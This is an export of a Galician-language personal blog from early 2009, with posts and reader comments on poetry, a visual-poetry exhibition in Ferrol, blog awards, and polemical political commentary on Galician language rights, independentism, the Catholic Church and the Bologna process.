----- COMMENT: AUTHOR: Iolanda Aldrei [Visitante] DATE: Tue, 07 Apr 2009 18:49:31 +0000 URL: http://janeladamoura.blogspot.comComo sempre é um abraço maravilhoso chegar a esta casa, por isso há um surpreso em http://janeladamoura.blogspot.com.
Muitas saudades
Eu nom vou poder estar. Mas quem poda, que nom perda a oportunidade. Paga a pena, sem dúvida. Maria Aldao e Lucia Lado. Duas para Nove.
----- -------- AUTHOR: Lugris TITLE: Desvario (1) BASENAME: desvario-1 DATE: Sat, 21 Mar 2009 23:51:39 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Para Ver Ler TAGS: ----- BODY:Estou sentado em algum lugar que conheço perfeitamente ainda que nem sei onde é. Com os olhos pechados, podo ver todas e cada umha das cousas que me rodeiam. Conheço todos os nomes de todas as cousas, mas som incapaz de pronunciar algumha palavra inteligível. Procuro nom cair, mas nom tenho onde agarrar-me. Nunca chego ao fundo, vou caindo, caindo, sem fim. Já nom estou sentado. Já nom caio. Sigo em pé. Caminho. Ou nom. Sigo a cair enquanto penso que já nom caio. Todo remata. Todo continúa. Ao tempo que percorro o caminho, fico quieto, parado, imóvel. Tranquilo, sereno, pacífico. Calado, reservado nas palavras. Em voz baixa, repito novamente os versos que aprendim. Estou deitado, com os olhos pechos, e o sol quenta-me a cabeça. A única cabeça que tenho. Nom sei quê é o que digo. Ainda.
----- -------- AUTHOR: Lugris TITLE: Nom deixemos que as crianças se acheguem a eles! BASENAME: nom-deixemos-que-as-criancas-se-acheguem DATE: Wed, 18 Mar 2009 09:39:30 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Estam tolos estes espanhois CATEGORY: Eu também desenhar TAGS: ----- BODY:Seria um grave erro, umha transgressom de qualquer preceito ou regra de lógica, umha maldade, umha crueldade, mesmo um pecado, permitir que as nossas crianças se acheguem à essa secta retrógrada, patriarcal, reaccionária, filofascista, e evidentemente capitalista, chamada igreja católica.
----- COMMENT: AUTHOR: letiti [Visitante] DATE: Wed, 18 Mar 2009 20:02:33 +0000 URL: http://lavienrose-letiti.blogspot.com/Ni tampoco dejemos que cuatro señoritos con faldas se crean con derecho a decidir una vez más por las mujeres sin ponerse ni por un momento en nuestro lugar,evidentemente,como si ellos sufriesen alguna vez algo parecido,no dejemos que conviertan en delito un derecho a decidir que ha costado mucho conseguir.
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Wed, 18 Mar 2009 19:06:39 +0000 URL: http://www.estibalizes.wordpress.comO peor é que en tempos de crise, as supersticións e as demagoxias [supersticións políticas baseadas no tremendismo] atopan o microclima perfecto
Cunha humanidade eternamente infeliz, a Igrexa sempre estará protexida
“Cultura da morte", din que vivimos. Iso sosteno unha multinacional cuxo logotipo visible é un moribundo nun instrumento de tortura e cuxas altas instancias están cheas de mártires que apelan a morrer por deus.
Naturalmente, logo da bochornosa retracción no tema-Galileo, a Igrexa négase a perder máis ferrados de poder. A esta leira [leria] chámana pomposamente a da Vida. Pfff, nese eido van ter argumentos demagóxicos para dar e tomar
----- -------- AUTHOR: Lugris TITLE: O futuro e o porvir. BASENAME: o-futuro-e-o-porvir DATE: Tue, 17 Mar 2009 11:43:58 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Já dizia Einstein que é melhor nom pensar muito no futuro, porque vem muito antes do que pensamos.
(Mas também alguém dijo que todo é porvir, e nunca chega).
"Trata-se dum velho método: tomas algumha cousa da tua tradiçom, roubas e deixas atrás outras cousas para que outros com talento roubem também. A cultura é isso, umha transformaçom contínua".
[youtube]KtX-V4OE50Y[/youtube]
Goran Bregovic apresentando o seu novo disco, Alcohol, com a cançom Jeremija. Aqui, o vídeo:
[youtube]BSiVIKR2eM0[/youtube]
A cita aparece hoje, en "El Pais".
----- -------- AUTHOR: Lugris TITLE: Oferece-se poeta desempregado BASENAME: oferece-se-poeta-desempregado DATE: Wed, 11 Mar 2009 09:08:33 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Oferece-se poeta em paro com conhecimentos de desenho gráfico e ampla experiência.
Boas referências.
Senhor Ferreiro, chega vostede a tempo. Em breve, pechamos a tenda, porque o poeta em paro, desempregado, já nom estará desempregado. O ADSL (que parece o nome dumha droga alucinogena), chama-me.
Tem vostede sorte, ainda temos por aqui os restos da temporada. Tendo em conta a sua situaçom, aconselharia uns descordos ou umhas pastorelas, com profussom de cobras capfinidas, capcaudadas e capdenals. Se isto nom lhe parece apropriado, poderiamos provar com uns tercetos desencadeados, com molho de copla picante.
Eu quería algo barato. Não sei… nunca experimentei… deixo-me aconselhar. Sinto-me atraído pelas falésias e adormeço nas janelas, mas na cama ou no divã não deixo de imaginar que corro até à extenuação.
O senhor poeta o que me recomenda? Rogo me atenda depressa, faça favor.
Está vostede de sorte. Tenho aqui uns estupendos versos alejandrinos, perfeitos para fazer pam, para fazer pum, para fazer pim, pam, pum, que tenhem muito bom preço. Som restos de stock. E venhem em tons grises, mas nom um gris qualquer: gris perla, que é elegante, funcional e discreto.
Mas também tenho umhas clausulas administrativas rimadas, que som o último em verso postmoderno, ecléctico e iniciático.
Mas, se tem vostede um gosto esquisito, escolherá, sem dúvida, estes pequenos sonetos de quatro versos, com rima livre, cheios de dipsácea senhardade, e que som perfeitos para conjugar a metáfora da cozinha e a dura realidade da palavra literária. Umha profusom de sumptuosidade ao alcance de poucas pessoas.
As suas vizinhos, os seus vizinhos, as amizades essas tam plastas que lhe entram até a cozinha, morrerám com a inveja.
Com um dez por cento de desconto se paga ao contado. Se nom quer factura, desconto-lhe também o IVA. Também dispomos de financiaçom até 12 meses sem custos adicionais.
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Thu, 12 Mar 2009 15:24:06 +0000 URL: http://www.estibalizes.wordpress.comquería uns versos para a cociña, para os azulexos da cociña, si, gústame ler cando agardo que ferva a auga da pasta, cando agardo que amolezan as bolachas e os ols brans no leite e non sei como rechear ese tempo do ovo pasado por auga no que a miña nai e a miña avoa adoitaban rezar un Pai Noso.
Que me suxire e a que prezo?
Algo breve, non? Sería para recurtar en letras de molde ou facer unhas pegatinas. Un haiku non, por favor, crería a cada momento que vou comer sushi.
Un retrouso galego, unhas cobras dobras, un proverbio do Sil seica vaian ben… En fin, vostede é o experto.
[youtube]HFSAffL-nHU[/youtube]
(Para Leti, Javi e Jorge)
Agora que nos fazemos a pergunta que durante uns dias pensamos que nom tinhamos que fazer-nos, esta pequena melodia pode ajudar-nos a reflexionar. Ainda temos caminho por percorrer. O mundo sigue a girar.
Nora-boa, de derrota em derrota fins a vitoria final. ¡Pátria ou Morte! Mais bem, o segundo. As massas proletárias preferiron ao Feijoo, apesares da gomina. ¡Vivan las caenas! O partido é unha arma carregada de futuro… pluscuam perfeito , por suposto. Mañán o Kapital será o mesmo de onte, pêro nós xá non somos os mesmos; estamos fartos de produzir para reproduzir a miséria cotidiana. O problema é que o Povo xá non existe, somente quedam indivíduos consumistas i egoístas. O futuro é deles, por desgracia.
----- -------- AUTHOR: Lugris TITLE: Fai-se o caminho ao andar BASENAME: fai-se-o-caminho-ao-andar DATE: Sat, 28 Feb 2009 21:24:38 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: B.S.O. da memória TAGS: ----- BODY:Golpe a golpe, verso a verso.
Letra a letra.
jo mateix: nom penso que os galegos sejam tontos. Nem acredito na “normalidade” da que falas. O que sim é certo é que o futuro é nosso; sempre e quando consigamos também que o presente seja nosso.
De todas as formas, este post fala doutras cousas.
todo vuelve a la normalidad. Los gallegos son más tontos que Franco, que lle imos fer. O futuro é noso, o presente deles.
----- -------- AUTHOR: Lugris TITLE: No Bierzo, na Seabra, no Eu-Návia, na Cabreira... também queremos votar... e botá-los! BASENAME: no-bierzo-na-seabra-no-eu-navia-na-cabre DATE: Wed, 25 Feb 2009 08:20:24 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:Comunicado de NÓS-Unidade Popular pedindo o direito ao voto para os galegos e as galegas da faixa oriental da nossa Naçom.
(Na foto, membros de NÓS-UP da comarca do Berzo diante dumha das faixas penduradas pedindo o voto para a esquerda independentista nas eleiçons da Comunidade Autónoma Galega)
NÓS-UP reclama o direito ao voto para todos e todas as galegas: 190.000 galegas e galegos nom poderám votar no 1 de Março
As organizaçons políticas com actual representaçom parlamentar, PP, PSOE e BNG, as mesmas que coincidem no direito a voto de netos, bisnetos e tataranetos de galegas/os que vivem a milhares de quilómetros, e completamente afastados da realidade galega, negam esse direito aos habitantes da Galiza irredenta. Perto de 190.000 galegos e galegas, do Berzo, da Seabra, da Cabreria, do Eu-Návia, bem mais integrados na vida e na realidade política, económica, social e cultural da Comunidade Autónoma Galega, nom poderám opinar sobre quem sentará nas cadeiras do Parlamento do Hórreo.
NÓS-Unidade Popular recolhe no seu programa eleitoral a necessidade de umha reordenaçom territorial da Galiza em que se inclua um ?regime de estreita colaboraçom com as comarcas galegófonas actualmente excluídas da Comunidade Autónoma Galega, com a perspectiva estratégica de umha consulta democrática sobre a sua eventual incorporaçom jurídico-política à Galiza?. Nesse sentido, aposta em reconhecer já o direito ao voto nas eleiçons autonómicas galegas ao conjunto da populaçom desses territórios galegos, actualmente negados polo Estatuto de Autonomia.
----- -------- AUTHOR: Lugris TITLE: Cogli la prima mela BASENAME: cogli-la-prima-mela DATE: Wed, 18 Feb 2009 11:28:43 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: TAGS: ----- BODY:[youtube]YcvrUlcP86M[/youtube]
Tenho estes dias a cabeza, as maos, os pés, e o conjunto do corpo físico, e também o sentimental, noutras cousas. Isso significa que este pequeno local estará desatendido.
Para quem passe por aqui, e nom tenha a sensaçom de ter perdido o tempo, deixo esta pequena joia. Quase 10 sensacionais minutos de Angelo Branduardi interpretando "Cogli la prima mela".
Porque nisso estamos, agora que sabemos onde vamos...
----- -------- AUTHOR: Lugris TITLE: Castela e Leom trilíngüe. Queremos liberdade para eleger! BASENAME: castela-e-leom-trilingue-queremos-liberd DATE: Wed, 11 Feb 2009 23:41:55 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! CATEGORY: Eu também desenhar TAGS: ----- BODY:Se em verdade as organizaçons convocantes e apoiantes da manifestaçom antigalega do Domingo em Compostela defenderam o que dim defender, um bilingüismo real (caso de que tal cousa exista), por quê motivo nom iam defender o mesmo noutros territórios, onde muitas pessoas som privadas dos seus direitos pola imposiçom dumha língua? Se o PP, UDyP e demais organizaçons, colectivos e seitas que convocavam e apoiavam a manifestaçom "por el derecho a elegir", defenderam realmente que a língua galega e a espanhola devem gozar do mesmo reconhecimento e protecçom, porque ambas fam parte do patrimonio cultural da Galiza, por quê motivo nom defendem o mesmo noutros territórios do Estado espanhol nom-monolíngües?
Se realmente o PP, a UDyp, e o conjunto dessas organizaçons, defendem na Galiza que som as pessoas os sujeitos de direito, e nom as línguas em sim, e reiteram o seu mais profundo respeito por todas as línguas e os seus falantes, por quê nom defendem isso em Castela e Leom, nas Astúries, ou em Aragom?
Por quê motivo o PP (e junto com ele o PSOE, e mesmo outras organizaçons de esquerdas, como IU), e todos esses sectores "defensores do bilingüismo" que dia tras dia escrevem nos diários espanhois, falam nas rádios espanholas e estam presentes emitindo opinions nas televisons espanholas, nom defendem o bilingüismo fora da Galiza?
Por quê motivo em Castela e Leom nom som oficiais as três línguas que nesta comunidade se falam actualmente, a saber: espanhol, galego e llionés?
Por quê motivo nas Astúries o PP, o mesmo PP de Rajoi, Feijoo e Conde Roa, nom defende o trilingüismo, posto que nos territórios que hoje em dia estám dentro dessa comunidade autónoma se fala espanhol, galego e asturiano?
Por quê é que NUNCA o PP nem o PSOE de Castela e Leom, nem IU, nem outras organizaçons espanholas e espanholíssimas (todos os sindicatos, umha grande parte das entidades culturais, empresas de comunicaçom, etc...), apostam publicamente polo reconhecimento dos mesmos direitos e os mesmos deveres para os falantes das três línguas?
Por quê nos programas eleitorais esses partidos e organizaçons políticas nom recolhem, nunca recolherom, e nunca recolherám, a co-oficialidade das línguas que se falam nestes territórios?
Por quê é que "Galicia bilingüe" nom recolhe nunca nos seus escritos e comunicados o problema dos falantes de galego que vivemos fora do território da actual Comunidade Autónoma Galega?
Por quê será que a maior parte, a grande parte, a práctica totalidade das pessoas asistentes à manifestaçom de "Galicia bilingüe" do passado Domingo som militantemente monolíngües em espanhol? Já todos e todas conhecemos a piada: "Como se chama a quem que fala três linguas? Trilíngüe. E a quem fala duas línguas? Bilíngüe. E a que só fala umha? Espanhol".
Quê problemas tenhem essas pessoas para ler periódicos em espanhol, ouvir rádios em espanhol, ver televisons em espanhol, comprar livros em espanhol, ir ao cinema a ver filmes em espanhol, colher filmes nos videoclubes em espanhol, comprar livros para os seus filhos e filhas em espanhol, para ir a misa em espanhol, para escuitar música em espanhol, para ir ao teatro em espanhol, para ler a etiquetagem de qualquer produto em espanhol,...?
Quê significa entom a palavra de orde "Galiza bilíngüe"? Qual é a liberdade para eleger que promulgam?
Nom é evidente que se na Galiza "defendem" que o galego deve ter o mesmos reconhecimento e protecçom nom é mais que por imperativo legal, porque o Estatuto e outras leis assim o reconhecem (mesmo que só seja formalmente)? Alguém imagina a essas pessoas, a essas organizaçons e colectivos participando na luita por conseguir a cooficilidade da língua galega na Galiza se tal cousa nom existira já (mesmo que só seja formalmente)?
Por se recapacitam, aqui lhes proponho um logotipo para usar em Castela e Leom, em Castiella y Llión, em Castilla y León (quando menos até que o Bierzo deixe de pertencer a esta comunidade autónoma artificial e impossível...). O mesmo poderiam fazer nas Astúries mentras sigam administrando o território do Eu-Návia dentro dessa comunidade.
Alguém, que escreve com umha IP que começa assim: 213.60.24…, e que está na rede com umha conexom de R, envia-me, a mim, e a nem sei quantos mais, a “tomar polo cu", mas isso sim “em portugal". Por suposto, nom publico a sua aportaçom ao debate. Porque, a verdade, por muito que me intentam convencer sigo a pensar que nom, que nom todas as opinions som respeitaveis e nom todas tenhem direito a ser expresadas. A mim, que me venham a insultar a minha casa… quê queredes que vos diga, nom me parece bem.
----- COMMENT: AUTHOR: Manuel [Visitante] DATE: Fri, 13 Feb 2009 16:43:18 +0000 URL: http://www.manuellrodrigues.blogspot.comMoi boa si señor!!
Apóntome a proposta. Un saúdo.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 13 Feb 2009 15:37:58 +0000 URL:Um, obrigado polo comentário. A verdade é que nom sabia onde procurar informaçom para escrever bem o texto em lliones, ou asturo-leonês, e tivem que botar mao da wikipedia em asturiano. Imagino que os problemas normativos, contra o que pensamos habitualmente, nom só existem na nossa língua
;)
Ígor, um único apuntamento repugnante… Seguindo a norma ocidental para o asturo-leonês (a que lhe quadra ao Berço, a Seabra e outras zonas enquadradas em Castela-Leão), há um par de gralhas na versão leonesa. O correcto seria:
Castiella y Llión Trillingüe (o trilingüe, como neologismo, e por guardar o desenho)
Tres llinguas, los mesmos dreitos
Polo demais, simplesmente genial, mas quando mais uma vez continuas a solidarizar-te com uma língua ainda mais minorizada…
----- COMMENT: AUTHOR: Galeguzo [Visitante] DATE: Fri, 13 Feb 2009 13:02:38 +0000 URL: http://madeiradeuz.orghttp://chuza.org/historia/castela-e-leom-triling-e-queremos-liberdade-para-eleger/
Chuzado! :)
----- COMMENT: AUTHOR: Elisa [Visitante] DATE: Thu, 12 Feb 2009 10:43:17 +0000 URL:Un amigo meu di que hai un curioso paralelismo entre UPyD e o coñecido Una, Grande y Libre: Una=Unión, Grande=Progreso y=y Libre=Democracia. Tenche razón. E se cadra con iso, xa está todo dito.
Parabéns, Igor, polo teu traballo a prol da lingua e de Galiza.
Frente à invisibilidade pola que optou umha parte do movimento normalizador, seguindo a estratégia do avestruz, que pensa que ao nom ser vista os seus problemas desaparecem, quem apostou por manter o conflito lingüístico na rua sofreu as agresons, as malheiras, as detençons por parte das forças de ocupaçom espanholas.
Deste blogue envio a minha solidariedade com as dez pessoas detidas, e que ao longo do dia de onte, segunda-feira, forom ficando em liberdade, e com todas as pessoas agredidas por parte da polícia espanhola por defenderem a nossa língua, por exercer o seu direito, o nosso direito, a mostrar com dignidade e orgulho, mais umha vez, que estamos fartos, que estamos fartas, de ser umha colónia.
NA GALIZA, EM GALEGO!
No web de NÓS-UP podes ver a informaçom sobre a posta em liberdade das dez pessoas detidas, e as concretaçons de solidariedade realizadas em diversos pontos da Galiza.
----- -------- AUTHOR: Lugris TITLE: Esta é a sua democracia (também a de Vicequin) BASENAME: esta-e-a-sua-democracia DATE: Mon, 09 Feb 2009 11:15:32 +0000 STATUS: publish PRIMARY CATEGORY: Paranhoia CATEGORY: Gz é bem pequena CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Onte, Domingo, os Paranhoicos sairom às nossas ruas, para exercer o seu direito a impor livremente a sua língua comum, com a ajuda inestimável, isso sim, como sempre, das forças de ocupaçom espanholas.
Podes seguir as informaçons e as novidades que se vam produzindo, assim como comentários, opinions e reflexons, nos meios capitalistas burgueses habituais, ou nas seguintes ligaçons:
Actualizaçom das 17.00h.:
"Quintana condena la violencia en la manifestación de Galicia Bilingüe y acusa a Feijoo de fomentar el odio al gallego"
Refere-se ao Supervicequin Espartacus à violência das forças de ocupaçom espanholas? Nom. Supervicequin é um homem sério, responsável, democrata, moderno e europeu. Quando fala de condear a violência, refere-se a que condea às pessoas independentistas que forom malhados e se defenderom. Tinham-se que ter deixado zoscar, para demostrar que o galego nom é um povo violento.
Já sabes: se estas pola dependência, Supervicequin é o teu lider.
Skinheads fora da Galiza!
----- -------- AUTHOR: Lugris TITLE: Dous poetas muito pendurados na rádio BASENAME: dous-poetas-muito-pendurados-na-radio DATE: Thu, 05 Feb 2009 16:34:51 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Gz é bem pequena CATEGORY: Para Ver Ler TAGS: ----- BODY:Os dous poetas muito pendurados protagonizarám na próxima semana, se o tempo nom o empece e as autoridades o permitem, a página de poesia do Diário Cultural da Rádio Galega, com motivo das suas exposiçons na Galeria Sargadelos de Ferrol. Isso significa, que de segunda a sexta-feira, todos os dias recitaremos um poema entre as 15.00 e as 16.00h.
(Mas, umha hora inteira recitando um poema? Nom, ho! Um minuto apenas, dentro dessa hora).
Já sabedes que a rádio galega se sintoniza na rádio, ou na rede. E se nom, sempre tedes a oportunidade de escuitar no seu web as gravaçons passados esses dias. Para quem esteja aí, escuitando-nos, saúdos.
A imagem que acompanha hoje esta entrada no blogue, é o cartaz feito por mim, dentro do projecto em permanente construçom "poesia para Ver/poesia para Ler", do poema "Parábola, Astrazeneca nom se pecha", escrito e publicado em solidariedade com os e as trabalhadoras dessa empresa. O cartaz leva já vários dias subido à rede na galeria de Flickr.
Lamentavelmente, este cartaz nom chegou a tempo para a exposiçom do Ferrol, assim que haverá que aguardar outra futura cita para poder ve-lo pendurado das paredes junto com os outros que componhem actualmente esse projecto.
Vai fazendo click em cada tele. Por orde. Ou nom. Isto é livre.
Capítulo I:
Capítulo II:
Capítulo III:
Para incrustar:
----- COMMENT: AUTHOR: zerovacas [Visitante] DATE: Sat, 31 Jan 2009 11:43:26 +0000 URL: http://zerovacas.blogspot.comMoi bo! A ver se me achego por ferrol o venres, pero non creo que poida
----- -------- AUTHOR: Lugris TITLE: Dous poetas muito pendurados, na tele!!! BASENAME: dous-poetas-muito-pendurados-na-tele DATE: Fri, 30 Jan 2009 10:08:47 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Gz é bem pequena TAGS: ----- BODY:Fai click.
Visto, e direitamente copiado, em Projecto Mourente.
Se queres incrustar esta promo na(s) tua(s) página(s), liga aqui.
E aqui, podes ver o convite na nossa língua, ou quase, mas com diferente sotaques. E é que o galego é internacional...
E último:
----- -------- AUTHOR: Lugris TITLE: Dous poetas muito pendurados BASENAME: dous-poetas-muito-pendurados DATE: Wed, 28 Jan 2009 23:08:27 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Gz é bem pequena CATEGORY: Eu também desenhar TAGS: ----- BODY:Do 6 ao 28 de Fevereiro, na Galeria Sargadelos de Ferrol, Eduardo Estévez e Igor Lugris penduramos as nossas obras poético-visuais "Os veos da paisaxe" e "poesia para Ver/poesia para Ler". O dia 6, às 20.00h., fazemos umha inauguraçom, com recital estéreo a quatro maos incluido, e uns petiscos e uns vinhos para ajudar a digerir tantos poemas cheios de versos e palavras. Este é o convite informal.
Se queres, podes e desejas passar por ali, veremo-nos.
Seremos dous poetas muito pendurados. Pendurados das paredes.
Este cartaz, da minha autoria, ou plagiduria, está feito a partir doutro que pode que já conheças.
----- COMMENT: AUTHOR: A Raíña Vermella [Visitante] DATE: Wed, 11 Feb 2009 13:27:30 +0000 URL: http://espello.blogspot.comSó felicitarte pola presentación do venres, cun pouco de retraso, como ven sendo habitual en min. Xa coñecía parte do contido, pero gustoume moitísimo a túa obra poético-visual, e o punto entre pop-art e cartaz soviético. E si, recitar (e escoitar recitar) da bastante fame :p
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 30 Jan 2009 05:52:33 +0000 URL:Estibaliz… estám as cousas tam mal, que até vam ilegalizar os Prémios Dardos!
(imagino que é porque com o texto vam vários links, nom é?, e o cerebro inteligente que regula as vidas dos blogues pensa que é spam)
Obrigado polo Dardo: gasolina para os ovnis, e cordenadas para as isoglossas.
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Thu, 29 Jan 2009 20:15:18 +0000 URL: http://www.estibalizes.wordpress.comNon me deixan colar e pegar o texto do blog no que mando un dardo cara aquí. A máquina dime que o seu contido é ilegal [o texto do comentario].
Concretamente di:
illegal content [spam?]
Premiarte cun dardo, (i)gor, que saibas que é ilegal.
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Thu, 29 Jan 2009 18:37:53 +0000 URL: http://olevantadordeminas.blogaliza.orgLamento non poder acudir, compañeiros, mais estarei a preparar a mala para voar fóra do país. Aperta e parabéns por tamaño evento que tedes organizado.
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 29 Jan 2009 11:01:27 +0000 URL:Nom o colho, Zerovacas. Que fai Ferrin esse dia a essa hora em Ferrol?
----- COMMENT: AUTHOR: zerovacas [Visitante] DATE: Thu, 29 Jan 2009 10:43:51 +0000 URL: http://zerovacas.blogspot.comAsí que contraprogramando a Ferrín, eh? :D
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Thu, 29 Jan 2009 00:10:26 +0000 URL: http://oportodosescravos.blogspot.comMimá!!! Vaia dous, que se preparen na miña terra…
----- -------- AUTHOR: Lugris TITLE: Os meus dardos BASENAME: os-meus-dardos DATE: Tue, 27 Jan 2009 11:00:53 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:O Levantador de Minas tivo a bem premiar este blogue com um dos Prémios Dardos.
«Com o Prémio Dardos reconhecem-se os valores que cada blogger, emprega ao transmitir os mesmos por culturais, éticos, literários, pessoais, etc., que, em suma, demonstram sua criatividade através do pensamento vivo que está e permanece intacto entre suas letras, entre suas palavras. Esses selos foram criados com a intenção de promover a confraternização entre os bloggers, uma forma de demonstrar carinho e reconhecimento por um trabalho que agregue valor à Web.
Este Prémio obedece a algumas regras:
1) Exibir a imagem do selo;
2) Linkar o blog pelo qual se recebeu a indicação;
3) Escolher outros blogs a quem entregar o Prémio Dardos.»
Já lhe agradecim a ele o Prémio, e para poder recolhé-lo (e continhar com esta cadeia infinda de ligaçons que vai polo mundo inteiro de blogue em blogue), fago eu entrega dos meus Dardos, com a ajuda de Celso Emílio, a:
Made in Galiza, porque si, porque quero.
...mmmmm..., porque me gosta.
Fannyalexander, porque me peta e da-me a gana.
Aguardo que recolham o prémio. Aguardo que repartam os seus dardos. Saude e blogue!
----- COMMENT: AUTHOR: madeingaliza [Visitante] DATE: Mon, 02 Feb 2009 22:32:55 +0000 URL:ola, igor, pois que bom!
obrigado, meu, polo dardo, deu-me no cu!
tivem problemas com o blog, de súbito desapareceu -de todo, pluff- e a gente da blogoteca tivo que botar mao dumha cópia de seguridade, nom sei que passaria…
em fim, um susto!
passo os dardos e que siga a festa!
Dedos…: já vim. Foi dar-lhe eu com um dardo, e desaparecer deste mundo virtual. Aguardo que o meu prémio nom fose o desencadeante desa conversom à invisibilidade!
----- COMMENT: AUTHOR: dedoscomovermes [Visitante] DATE: Wed, 28 Jan 2009 15:03:40 +0000 URL: http://www.blogoteca.com/dedoscomovermessabe o senhor onde anda o madeingaliza? anda dessaparecido da blogoteca!
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Wed, 28 Jan 2009 08:54:17 +0000 URL: http://www.estibalizes.wordpress.comRaios. Moitas grazas. Recollo o premio e repartirei os meus dardos.
Que farei agora con tanto ego?
Vendo ego. Caro. Cotizado. Con hipoteca. Plumaxe de cores. Visible en festas, intervencións públicas, sintaxes aparentemente simples. Ego de aire, ego de vento. Puro O2, limpo, procedente de Montederramo e do porto de Dexo. Amplas vistas panorámicas, garantía de sensacións aerostáticas de potencia e benestar. Cobertoira anti-envexa, escudo anti-pinchazos inopinados. Medidor e doses encapsuladas de falsa humildade. Latrías variadas para adorno. Cordeliño útil para non saír voando. Lastres de agasallo: fracaso soluble, derrotas mastigables, críticas en po, mortalidade.
----- -------- AUTHOR: Lugris TITLE: Quê é Bolonha? Umha, entre muitas, resposta. BASENAME: que-e-bolonha-umha-entre-muitas-resposta DATE: Mon, 26 Jan 2009 16:40:05 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Cousas por aí CATEGORY: Estam tolos estes espanhois TAGS: ----- BODY:"Nota aclaratoria. Este artigo é a transcripçom dumha tese que pronunciei no 25 de Julho de 2006 num dos Cursos de Verao de El Escorial (?Ocidente: Razom e Mal?) organizado pola Universidade Complutense de Madrid e patrocinado pola Fundaçom do BBVA. Estava previsto publicar as teses do curso num livro financiado por esta Fundaçom. Durante já quase dous anos mostrarom todo tipo de reticências para a publicaçom do meu artigo, alegando que nom se tratava de censura ideológica, pois a minha intervençom carecera de ?rigor académico e de seriedade científica?. Para nom prejudicar os outros autores que participavam no livro, acedi várias vezes a practicar a autocensura, limando expressons coloquiais e suavizando o tom na versom escrita da minha tese. Mas finalmente, deixárom claro que o livro nom sairia se eu nom retirava a minha contribuiçom. Há ano e meio que estava desejando ficar libertado do meu compromiso, de modo que me alegro de poder publicar por fim este texto por outras vias. O grave nom é o tempo que se me fijo perde (desgraçadamente o tema está longe de ficar antiquado). O grave é que esta anedota é um sintoma fatal que anuncia um futuro muito nefasto para o mundo académcio e a Universidade pública. O processo de Convergência Europeia em Educaçom Superior, o que se chama o ?Processo Bolonha?, articula-se sobre a subordinaçom de toda financiaçom pública à prévia obtençóm dumha financiaçom privada. Assim, em lugar de financiar o mundo académico com critérios científicos, independentemente da autoridade do mercado, financia-se com dinheiro público tam só aqueles projectos que interesam ao mundo empresarial. Somos muitos os que levamos advertindo que esta mercantilizaçom da Academia supom o colapso da Universidade pública a meio praço. A minha ?competencia científica? e o meu ?rigor académico?, por exemplo, teriam que ter sido julgados polos organizadores académcios do Curso (ou polos membros do tribunal de oposiçons com o que ganhei no seu dia a liberdade de cátedra em tanto que profesor Titular da UCM). Repugana à ideia mesma de Academia que umha instituiçom privada, um Banco, tenha algumha cousa que opinar ao respeito. Porém, esta é a situaçom que se está generalizando com o processo de Bolonha: a financiaçom privada terá em adiante a última palabra no mundo académcio, condicionará os planos de estudos, os projectos de investigaçom, a distribuiçom de departamentos, faculdades e escolas. A Convergência Europeia é o equivalente dumha reconversom industrial na Universidade. É dificil entender como pode haver quem nom o veja craro.
Para ilustrar a anedota com a Fundaçom BBVA, preferim deixar o texto o mais parecido possível à versom original do evento, respeitando o estilo oral da intervençom".
Há outros muitos ejemplos do que realmente significa o Processo Bolonha. Escolho este pequeno texto de Carlos Fernández Liria, e recomendo especialmente a leitura completa do seu artigo, porque é umha mostra clara, evidente, diáfana, de por onde é que vam os tiros. É umha anedota, mas ilustradora e ilustrativa anedota. E, além do mais, porque o seu artigo, "Os dez mandamentos e o século XXI", deveria ser de leitura obrigada em todos os centros escolares, liceus e faculdades. Com certeza, nom será assim. É umha verdade incomoda. Realmente incomoda. Lamento nom ter tido tempo para traduzir o artigo à nossa língua.
----- -------- AUTHOR: Lugris TITLE: Nom por lembrar a História estás livre de repeti-la BASENAME: nom-por-lembrar-a-historia-estas-livre-d DATE: Thu, 22 Jan 2009 11:41:29 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: TAGS: ----- BODY:De todas as imagens que publico hoje (e que me chegárom via correio electrónico), algumhas delas realmente duras e desagradáveis, esta que encabeça o texto é a que mais me impresiona. Há toda umha história nessas duas fotos. A mesma história, o mesmo relato. É o mesmo medo, o mesmo terror, a mesma certeza interior de que nada bom é o que lhe vai acontecer, a que se reflite na faze dos dous rapazes. O futuro de ambos rapazes, só culpaveis de ter nascido no lugar equivocado no momento menos oportuno, é, foi, o mesmo.
Os soldados, som também os mesmos: tenhem um outro uniforme, falam outra língua, os seus mandos som outros, mas som todos os mesmos. Estám igualmente convencidos, firmemente convencidos, de defender a razom, a orde, a legalidade. Por suposto, os militares dumha foto e da outra som desse tipo de pessoas que sempre dim preferir a orde à justiça.
